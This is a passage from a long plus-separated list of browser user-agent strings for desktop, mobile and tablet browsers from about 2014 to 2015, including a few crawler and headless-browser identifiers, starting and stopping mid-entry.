(Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/6.0.51363 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 5.1; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.50 (KHTML, like Gecko) Version/9.0 Safari/601.1.50 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:RESERVED) +Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12B440 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) MsnBot-Media /1.0b +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/7.0) +Mozilla/5.0 (Linux; Android 5.1.1; SM-G920V Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 6680.78.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.102 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T520 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; SM-T900 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12D508 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.1.2; GT-N8013 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFAPWA Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MALCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0 +Mozilla/5.0 (Linux; Android 5.0.1; SM-N910V Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T310 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 10 Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 7077.123.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Linux; Android 4.4.2; QMV7A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53 +Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG-SM-N900A Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.4; XT1080 Build/SU6-7.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/6.0.51363 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; ASJB; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.73.11 (KHTML, like Gecko) Version/7.0.1 Safari/537.73.11 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; TNJB; 1ButtonTaskbar) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 +Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 635) like Gecko +Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-N910P Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 [Pinterest/iOS] +Mozilla/5.0 (Linux; Android 5.0.1; LGLK430 Build/LRX21Y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 Safari +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/8.0; 1ButtonTaskbar) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; NP08; MAAU; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T217S Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMSE; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.76 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1; XT1254 Build/SU3TL-39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12B440 Safari/600.1.4 +Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG-SGH-I337 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFASWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/5.0 (X11; CrOS armv7l 7077.111.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T800 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.0 Chrome/38.0.2125.102 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SM-G900V Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAGWJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; ATT-IE11; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7) AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12D508 Safari/600.1.4 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5;MSN 11;MSN 11.5; MSNbMSNI; MSNmen-us; MSNcOTH) like Gecko +Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9895 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; 1ButtonTaskbar) +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 YaBrowser/15.7.2357.2877 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSMSNIP; rv:11.0) like Gecko +Mozilla/5.0 AppleWebKit/999.0 (KHTML, like Gecko) Chrome/99.0 Safari/999.0 +Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAGWJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; GT-N5110 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12B410 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.7) Gecko/20150824 Firefox/31.9 PaleMoon/25.7.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A4325c Safari/601.1 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3) +Mozilla/5.0 (Linux; Android 4.4.2; RCT6203W46 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; RCT6203W46 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/34.0.1847.116 Chrome/34.0.1847.116 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0 +Mozilla/5.0 (Linux; Android 4.4.2; RCT6773W22 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASJB; ASJB; MAAU; rv:11.0) like Gecko +Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.7) Gecko/20150824 Firefox/31.9 PaleMoon/25.7.0 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG-SM-G870A Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFSOWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) +Mozilla/5.0 (Windows NT 5.2; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9895 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMCM; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-G920P Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like 